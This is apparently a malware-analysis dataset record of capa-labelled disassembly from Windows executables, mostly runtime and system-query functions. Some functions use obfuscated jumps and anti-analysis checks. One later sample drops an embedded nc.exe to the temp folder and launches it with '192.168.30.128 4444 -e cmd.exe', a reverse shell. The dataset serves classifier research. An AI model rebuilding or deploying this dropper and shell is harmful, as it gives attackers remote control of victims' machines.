joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14009cd90
Capabilities:
Get common file path

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x4a8
mov qword [rsp + 0x78], r8
mov qword [rsp + 0x80], rdx
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], 2
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov r8d, 0x200
mov eax, 2
mov qword [rsp + 0x28], rax
xor edi, edi
mov r15d, 0xffffffff
xor esi, esi
xor r13d, r13d
cmp r8, 0x201
jae 0x14009ce20
jmp 0x14009cdff
jae 0x14009cec6
cmp r8, 0x201
jae 0x14009ce20
mov ebx, 0x200
lea rbp, [rsp + 0xa8]
mov r12, r8
jmp 0x14009ce67
sub r8, r13
sub rsi, r13
cmp rsi, r8
jae 0x14009ce47
lea rcx, [rsp + 0x38]
mov rdx, r13
call fcn.140081f00
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x28], rax
mov rdi, qword [rsp + 0x40]
cmp rdi, r15
mov r13d, 0xffffffff
cmovb r13, rdi
mov qword [rsp + 0x48], r13
mov rsi, rdi
mov rbx, r13
mov rbp, qword [rsp + 0x28]
mov r12, r13
xor ecx, ecx
call sub.kernel32.dll_SetLastError
mov rcx, rbp
mov edx, r12d
call sub.kernel32.dll_GetWindowsDirectoryW
mov r14d, eax
test eax, eax
jne 0x14009ce8d
call sub.kernel32.dll_GetLastError
test eax, eax
jne 0x14009cfaf
mov r8d, r14d
cmp r12, r8
jne 0x14009cdf0
call sub.kernel32.dll_GetLastError
cmp eax, 0x7a
jne 0x14009cfd3
add r12, r12
cmp r12, r15
cmovae r12, r15
mov r8, r12
cmp r8, 0x201
jb 0x14009cdff
jmp 0x14009ce20
cmp rbx, r8
jb 0x14009cfed
lea rcx, [rsp + 0x88]
mov rdx, rbp
call fcn.140087ba0
movups xmm0, xmmword [rsp + 0x88]
movups xmm1, xmmword [rsp + 0x98]
movaps xmmword [rsp + 0x60], xmm1
movaps xmmword [rsp + 0x50], xmm0
mov rax, qword [rsp + 0x80]
mov rdx, qword [rax]
mov r8, qword [rax + 8]
lea rcx, [rsp + 0x50]
call fcn.140085ab0
mov rax, qword [rsp + 0x78]
cmp byte [rax], 0
jne 0x14009cf33
lea rdx, [0x1401952a0]
lea rcx, [rsp + 0x50]
mov r8d, 3
call fcn.1400866d0
mov rbx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x60]
lea rcx, [rsp + 0x88]
mov rdx, rbx
call fcn.14008c560
cmp qword [rsp + 0x58], 0
je 0x14009cf62
mov edx, 1
mov rcx, rbx
call fcn.14000d8b0
mov rax, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x30]
mov qword [rcx + 0x18], rax
movups xmm0, xmmword [rsp + 0x88]
movups xmmword [rcx + 8], xmm0
mov qword [rcx], 0
test rdi, rdi
je 0x14009cf9a
mov edx, 2
mov rcx, qword [rsp + 0x28]
call fcn.14000d8b0
nop
add rsp, 0x4a8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
call sub.kernel32.dll_GetLastError
shl rax, 0x20
or rax, 2
mov rcx, qword [rsp + 0x30]
mov qword [rcx + 8], rax
mov qword [rcx], 1
test rdi, rdi
jne 0x14009cf8b
jmp 0x14009cf9a
lea rcx, str.internal_error:_entered_unreachable_codeE:code_rustgithubollvm_rustlibrary_std_srcioerror_repr_bitpacked.rs
lea r8, str.library_std_src_syswindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov edx, 0x28
call fcn.1400175a0
jmp 0x14009d002
lea rax, str.library_std_src_syswindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov rcx, r8
mov rdx, rbx
mov r8, rax
call fcn.1400184e0
ud2
Function at 0x14009d290
Capabilities:
Read file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0xa8
mov rdi, rdx
mov rsi, rcx
movups xmm0, xmmword [0x1401957f8]
movaps xmmword [rsp + 0x60], xmm0
mov eax, 0xffffffff
cmp r9, rax
cmovb rax, r9
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov rcx, rdx
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call sub.ntdll.dll_NtReadFile
cmp eax, 0x103
jne 0x14009d2fa
mov rcx, rdi
mov edx, 0xffffffff
call sub.kernel32.dll_WaitForSingleObject
mov eax, dword [rsp + 0x60]
cmp eax, 0xc0000011
jne 0x14009d309
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
jmp 0x14009d340
cmp eax, 0x103
je 0x14009d34a
test eax, eax
js 0x14009d326
mov rax, qword [rsp + 0x68]
mov qword [rsi + 8], rax
mov qword [rsi], 0
jmp 0x14009d340
mov ecx, eax
call sub.ntdll.dll_RtlNtStatusToDosError
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov qword [rsi], 1
add rsp, 0xa8
pop rdi
pop rsi
ret
mov dword [rsp + 0x58], 0
mov byte [rsp + 0x5c], 0
lea rax, str.fatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x88], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x78]
call fcn.14009d3b0
mov rcx, rax
call fcn.14009d050
mov ecx, 7
int 0x29
ud2
Function at 0x14009df20
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push rsi
sub rsp, 0x80
xorps xmm0, xmm0
movaps xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x30]
mov edx, 0x10
call sub.ADVAPI32.dll_SystemFunction036
test al, al
je 0x14009df56
mov rax, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rsp, 0x80
pop rsi
ret
call sub.kernel32.dll_GetLastError
shl rax, 0x20
or rax, 2
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x28]
mov qword [rsp + 0x40], rax
lea rax, [0x140090c20]
mov qword [rsp + 0x48], rax
lea rax, str.fallback_RNG_broken:
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
mov qword [rsp + 0x70], 0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
lea rdx, str.library_std_src_syswindows_rand.rs
lea rcx, [rsp + 0x50]
call fcn.1400174a0
ud2

Function at 0x1400a380e
Capabilities:
Reference wmi statements

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
mov rdi, rdx
mov rsi, rcx
cmp qword [rdx + 8], 0
je 0x1400a38c3
lea r14, [rdi + 8]
lea rcx, [0x14019843a]
call fcn.1400a3fc0
lea rbx, [rsp + 0x20]
mov qword [rbx], rax
lea rcx, str.SELECT__FROM_MSAcpi_ThermalZoneTemperature
call fcn.1400a3fc0
lea r15, [rsp + 0x28]
mov qword [r15], rax
lea r12, [rsp + 0x30]
mov rcx, r12
mov rdx, r14
mov r8, rbx
mov r9, r15
call fcn.1400a3fe7
mov rcx, rbx
call fcn.1400a411a
mov rcx, r15
call fcn.1400a411a
mov rcx, r15
call fcn.1400bdaa1
mov rcx, rbx
call fcn.1400bdaa1
mov rcx, r12
call fcn.1400a4153
test rax, rax
je 0x1400a38c3
mov rbx, rax
lea rcx, [rdi + 0x10]
call fcn.1400a3f8b
mov qword [rdi + 0x10], rbx
movups xmm0, xmmword [rdi]
movups xmmword [rsi], xmm0
mov rax, qword [rdi + 0x10]
mov qword [rsi + 0x10], rax
mov rax, qword [rdi + 0x18]
mov qword [rsi + 0x18], rax
jmp 0x1400a38cf
mov byte [rsi + 0x18], 2
mov rcx, rdi
call fcn.1400a38e0
mov rax, rsi
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret

Function at 0x1400a4aca
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x60
mov rdi, rdx
mov rsi, rcx
lea rbx, [rsp + 0x48]
and qword [rbx], 0
lea rcx, [rsp + 0x50]
mov qword [rcx], 1
and qword [rcx + 8], 0
call fcn.1400a45fb
mov qword [rsp + 0x20], rbx
lea rcx, [0x140198418]
lea r9, [0x140196f00]
mov rdx, rax
mov r8d, 1
call sub.ole32.dll_CoCreateInstance
lea rbx, [rsp + 0x30]
mov rcx, rbx
mov edx, eax
call fcn.1400a31ad
xor eax, eax
cmp qword [rbx], rax
je 0x1400a4b4a
mov rax, qword [rsp + 0x38]
mov ecx, dword [rsp + 0x40]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x40], ecx
mov qword [rsp + 0x30], 1
jmp 0x1400a4b59
mov rdx, qword [rsp + 0x48]
lea rcx, [rsp + 0x30]
call fcn.1400a4baf
lea rcx, [rsp + 0x50]
call fcn.1400a30a7
lea rcx, [rsp + 0x30]
call fcn.1400a4c15
test rax, rax
je 0x1400a4b98
mov rbx, rax
mov rcx, rdi
call fcn.1400a3f21
mov qword [rdi], rbx
movups xmm0, xmmword [rdi + 0x10]
movups xmmword [rsi + 0x10], xmm0
mov rax, qword [rdi]
mov qword [rsi], rax
mov rax, qword [rdi + 8]
mov qword [rsi + 8], rax
jmp 0x1400a4ba4
mov byte [rsi + 0x18], 2
mov rcx, rdi
call fcn.1400a38e0
mov rax, rsi
add rsp, 0x60
pop rbx
pop rdi
pop rsi
ret
Function at 0x1400a7004
Capabilities:
Accept command line arguments

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x78
mov rsi, rcx
mov rcx, rdx
call fcn.1400a3d7e
lea rcx, [rsp + 0x48]
and qword [rcx], 0
mov qword [rcx + 8], rax
call fcn.1400a3d9f
lea rdx, [rsp + 0x2c]
mov rcx, rax
call sub.shell32.dll_CommandLineToArgvW
mov rdi, rax
xor eax, eax
test rdi, rdi
setne al
shl rax, 3
add rax, qword [0x14010a118]
movabs rcx, 0xce4d9e7a960db13d
movabs rdx, 0xb3530fc9a86313c7
add rdx, qword [rcx + rax]
jmp rdx

Function at 0x1400ab2d6
Capabilities:
Enumerate processes via ntquerysysteminformation
Get system information on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x518
mov qword [rsp + 0x58], r9
mov qword [rsp + 0x50], rcx
movabs rax, 0xca311ab92ed90b19
mov rbx, qword [0x14010a440]
add rbx, rax
mov rax, qword [0x14010a448]
mov qword [rsp + 0x48], rax
mov r12d, 0x80000
mov ecx, 0x80000
xor edx, edx
call fcn.1400bdf7f
lea r13, [rsp + 0x80]
mov qword [r13], rax
mov qword [r13 + 8], rdx
and qword [r13 + 0x10], 0
lea rbp, [rsp + 0xe0]
movabs r14, 0xca311ab92ed90b71
movabs rsi, 0x814507b320d1e6f0
lea rdi, [rsp + 0x3c0]
and dword [rsp + 0x260], 0
mov rcx, r13
mov rdx, r12
call fcn.1400bf5e2
mov r15, qword [rsp + 0x80]
mov ecx, 5
mov rdx, r15
mov r8d, r12d
lea r9, [rsp + 0x260]
call sub.ntdll.dll_NtQuerySystemInformation
mov rcx, rbp
mov edx, eax
call fcn.1400a6b90
cmp qword [rsp + 0xe0], 0
je 0x1400ab43e
mov r15d, dword [rsp + 0xf0]
mov ecx, 0xc0000004
call fcn.1400a6bed
mov rcx, qword [0x14010a450]
movabs rdx, 0xca311ab92ed90b49
add rdx, rcx
lea r8, [rcx + r14]
cmp r15d, eax
cmove rdx, r8
mov rax, qword [rdx]
add rax, rsi
jmp rax
mov qword [rsp + 0x90], r12
and qword [rsp + 0x40], 0
xor r14d, r14d
xor edx, edx
call fcn.1400ab91f
lea rcx, [rsp + 0x98]
mov qword [rcx], rax
mov qword [rcx + 8], rdx
and qword [rcx + 0x10], 0
movabs rax, 0xca311ab92ed90b41
mov rcx, qword [rsp + 0x48]
mov r12, qword [rcx + rax]
movabs rbp, 0xca311ab92ed90b21
movabs rdi, 0xca311ab92ed90b59
mov r13d, dword [r15 + r14]
mov rdx, qword [r15 + r14 + 0x50]
mov rcx, rbx
mov r8, rbx
xor r9d, r9d
call r12
movzx eax, al
shl rax, 4
mov rcx, qword [0x14010a450]
add rax, rcx
movabs rdx, 0xca311ab92ed90b51
mov rax, qword [rdx + rax]
add rax, rsi
jmp rax
Function at 0x1400ae5c4
Capabilities:
Get system information on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x1c8
mov ebx, r8d
mov qword [rsp + 0x30], rcx
xorps xmm0, xmm0
lea rsi, [rsp + 0x190]
movaps xmmword [rsi + 0x20], xmm0
movaps xmmword [rsi + 0x10], xmm0
movaps xmmword [rsi], xmm0
mov rcx, rsi
call sub.kernel32.dll_GetSystemInfo
lea rdi, [rsp + 0xd8]
mov rcx, rdi
mov rdx, rsi
call fcn.1400ae987
mov rax, qword [rdi + 0x10]
mov qword [rsp + 0x50], rax
movups xmm0, xmmword [rdi]
movaps xmmword [rsp + 0x40], xmm0
mov rax, qword [rdi + 0x28]
mov qword [rsp + 0x70], rax
movups xmm0, xmmword [rdi + 0x18]
movaps xmmword [rsp + 0x60], xmm0
mov esi, dword [rsi + 0x20]
xor bl, 1
movzx eax, bl
shl rax, 3
add rax, qword [0x14010a3c0]
movabs rcx, 0x5e41d27ae5a0208a
movabs rdx, 0x6f4148a8e0044954
add rdx, qword [rcx + rax]
jmp rdx

Function at 0x1400b0f59
Capabilities:
Get disk size

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x30
mov rdi, r9
mov rbx, r8
mov rsi, rcx
mov rcx, rdx
call fcn.1400a3d7e
lea rcx, [rsp + 0x20]
and qword [rcx], 0
mov qword [rcx + 8], rax
call fcn.1400a3d9f
mov r14, rax
xor ecx, ecx
call fcn.1400a7ecc
mov r15, rax
mov ecx, 1
mov rdx, rbx
call fcn.1400a7ecc
mov rbx, rax
mov ecx, 1
mov rdx, rdi
call fcn.1400a7ecc
mov rcx, r14
mov rdx, r15
mov r8, rbx
mov r9, rax
call sub.kernel32.dll_GetDiskFreeSpaceExW
mov rcx, rsi
mov edx, eax
call fcn.14009fde9
mov rax, rsi
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret

Function at 0x1400b0fdb
Capabilities:
Get disk information

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x3c8
movaps xmmword [rsp + 0x3b0], xmm6
mov rbx, r8
mov rdi, rcx
mov r14, qword [r8]
mov rcx, r14
call fcn.1400a3d7e
lea rcx, [rsp + 0x1a0]
and qword [rcx], 0
mov qword [rcx + 8], rax
call fcn.1400a3d9f
mov rcx, rax
call sub.kernel32.dll_GetDriveTypeW
mov r8, qword [0x14010a610]
movabs rcx, 0x867bea01476b11b0
add rcx, r8
movabs rdx, 0x867bea01476b1158
add rdx, r8
cmp eax, 3
cmovne rdx, rcx
movabs r9, 0x867bea01476b1138
movabs rsi, 0xcbce1c433f9c0b73
mov rcx, qword [rdx]
add rcx, rsi
jmp rcx
Function at 0x1400b168f
Capabilities:
Get disk information

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x98
mov r14, rdx
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x30]
mov r8d, 0x104
call fcn.1400aaead
lea rax, [rsp + 0x24]
and dword [rax], 0
movabs rax, 0xa00000000
lea r13, [rsp + 0x50]
mov qword [r13], rax
lea rbp, [rsp + 0x68]
lea rsi, [rsp + 0x80]
movabs r12, 0x9a1c175b1906b196
mov rcx, r13
call fcn.1400a6528
mov rbx, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x40]
test eax, eax
je 0x1400b17ae
mov rcx, r14
call fcn.1400a3d7e
and qword [rsp + 0x68], 0
mov qword [rsp + 0x70], rax
mov rcx, rbp
call fcn.1400a3d9f
mov r15, rax
mov rdx, rdi
call fcn.1400b28ae
mov rcx, r15
mov rdx, rbx
mov r8d, eax
lea r9, [rsp + 0x24]
call sub.kernel32.dll_GetVolumePathNamesForVolumeNameW
mov rcx, rsi
mov edx, eax
call fcn.14009fde9
mov rcx, rsi
call fcn.1400b28d3
test eax, eax
je 0x1400b17ae
xor eax, eax
cmp edx, 0x800700ea
sete al
shl rax, 3
add rax, qword [0x14010a5e8]
movabs rcx, 0x9dd01f04d3dddf1
mov rax, qword [rcx + rax]
add rax, r12
jmp rax
mov qword [rsp + 0x50], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xor ecx, ecx
test rdi, rdi
sete cl
shl rcx, 4
movabs r14, 0x9dd01f04d3dddd1
mov rax, qword [0x14010a5e8]
add rax, r14
mov rcx, qword [rcx + rax]
add rcx, r12
jmp rcx

Function at 0x1400c37f0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.1400c45b0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.1400c45b0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x1400c3860
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1401e5364]
mov rbx, rcx
test esi, esi
jle 0x1400c3990
mov rax, qword [0x1401e5368]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400c38ab
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1400c3935
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400c3890
mov rcx, rbx
call fcn.1400c42d0
mov rdi, rax
test rax, rax
je 0x1400c39b2
mov rax, qword [0x1401e5368]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.1400c4410
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1401e5368]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400c3997
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x1400c392e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x1400c3940
add dword [0x1401e5364], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1401e5368]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400c392e
call qword [sym.imp.kernel32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1400c37f0
nop dword [rax]
xor esi, esi
jmp 0x1400c38b8
mov rax, qword [0x1401e5368]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.1400c37f0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.1400c37f0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400c3f40
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1401e53c0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1401e53a0]
test rbx, rbx
je 0x1400c3f9c
mov rbp, qword [sym.imp.kernel32.dll_TlsGetValue]
mov rdi, qword [sym.imp.kernel32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x1400c3f93
test eax, eax
jne 0x1400c3f93
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400c3f78
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400c42d0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1401d22a0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400c42f0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400c42f8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400c42f0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400c434d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400c4344
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400c42f0
add rax, 0x28
cmp rax, r9
jne 0x1400c4330
xor eax, eax
ret

Function at 0x1400c4350
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1401d22a0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400c436f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400c4378
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400c436f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400c4410
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1401d22a0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400c442f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400c4438
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14000a7d0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14000a7e0]
mov dword [rax], 1
mov rax, qword [0x14000a7f0]
mov dword [rax], 1
mov rax, qword [0x14000a750]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x14000a7c0]
mov dword [0x14000e00c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x14000a8a0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x14000a880]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x14000a730]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001501
Capabilities:
Extract resource via kernel32 functions
Get common file path
Write file on windows

Disassembly:
push rbp
sub rsp, 0x270
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x200], rcx
mov r8d, 0xa
lea rax, section..rdata
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_FindResourceA]
call rax
mov qword [rbp + 0x1e8], rax
cmp qword [rbp + 0x1e8], 0
je 0x140001644
mov rax, qword [rbp + 0x1e8]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_LoadResource]
call rax
mov qword [rbp + 0x1e0], rax
mov rax, qword [rbp + 0x1e8]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SizeofResource]
call rax
mov dword [rbp + 0x1dc], eax
mov rax, qword [rbp + 0x1e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LockResource]
call rax
mov qword [rbp + 0x1d0], rax
lea rax, [rbp + 0xc0]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathA]
call rax
lea rcx, [rbp + 0xc0]
lea rax, [rbp - 0x50]
mov rdx, qword [rbp + 0x200]
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str._s_s
mov edx, 0x104
mov rcx, rax
call sym.snprintf
lea rax, [rbp - 0x50]
lea rdx, [0x14000a008]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x1c8], rax
cmp qword [rbp + 0x1c8], 0
je 0x140001647
mov edx, dword [rbp + 0x1dc]
mov rcx, qword [rbp + 0x1c8]
mov rax, qword [rbp + 0x1d0]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp + 0x1c8]
mov rcx, rax
call sym.fclose
jmp 0x140001648
nop
jmp 0x140001648
nop
add rsp, 0x270
pop rbp
ret
Function at 0x140001651
Capabilities:
Create process on windows

Disassembly:
push rbp
push rdi
sub rsp, 0x2e8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x280], rcx
mov rdx, qword [rbp + 0x280]
lea rax, [rbp + 0x60]
mov r9, rdx
lea r8, str.__s__192.168.30.128_4444__e_cmd.exe
mov edx, 0x200
mov rcx, rax
call sym.snprintf
lea rdx, [rbp - 0x10]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
pxor xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
movq qword [rbp - 0x20], xmm0
mov dword [rbp - 0x10], 0x68
mov dword [rbp + 0x2c], 1
mov word [rbp + 0x30], 0
lea rax, [rbp + 0x60]
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0x2e8
pop rdi
pop rbp
ret

Function at 0x140001740
Capabilities:
Get common file path

Disassembly:
push rbp
sub rsp, 0x240
lea rbp, [rsp + 0x80]
call dbg.__main
lea rax, [rbp + 0xb0]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathA]
call rax
lea rdx, [rbp + 0xb0]
lea rax, [rbp - 0x60]
mov r9, rdx
lea r8, str._snc.exe
mov edx, 0x104
mov rcx, rax
call sym.snprintf
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.F1Z
test eax, eax
jne 0x1400017ae
lea rax, str.nc.exe
mov rcx, rax
call sym.E1Z
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.N1Z
mov eax, 0
add rsp, 0x240
pop rbp
ret

Function at 0x140001a90
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, [0x14000a200]
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]